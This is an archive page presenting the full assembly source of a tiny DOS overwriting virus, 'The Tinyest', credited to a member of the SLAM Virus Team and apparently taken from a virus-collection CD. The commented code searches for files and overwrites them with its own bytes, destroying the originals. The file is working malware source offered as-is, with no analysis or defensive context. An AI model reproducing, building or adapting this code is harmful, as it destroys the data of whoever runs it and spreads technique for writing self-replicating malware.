home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / pc / VIRDCOLL.ZIP / TINYEST.ZIP / TINYEST.ASM next >
Encoding:
Assembly Source File  |  1997-07-26  |  821 b   |  23 lines

  1. ; Virus Name: The Tinyest (Hey, waddaya want? I'm running out of names...)
  2. ; Virus Author: Virtual Daemon
  3. ; Virus Group: SLAM Virus Team
  4. ; Virus Size: 23 Bytes
  5. ; Creation Time: about 2 min
  6. .model tiny
  7. .code
  8.    org 100h             ;COM file
  9. start:
  10. filespec   db '*.*',0   ;we'll be looking for this kind of files
  11.                         ;this is replaced by a SUB CH instruction
  12.    mov ah,4eh           ;find first file
  13. intr:
  14.    mov dx,si            ;dx=si=100h=filespec
  15.    int 21h
  16.    mov ax,3d02h         ;open the file for reading & writting
  17.    mov dx,9eh           ;get file name from DTA
  18.    int 21h
  19.    xchg bx,ax           ;save file handle in BX (stupid DOS... :)
  20.    mov ah,40h           ;write the virus to file
  21.    jmp short intr       ;jmp to intr where dx will take the value 100h
  22. end start
  23.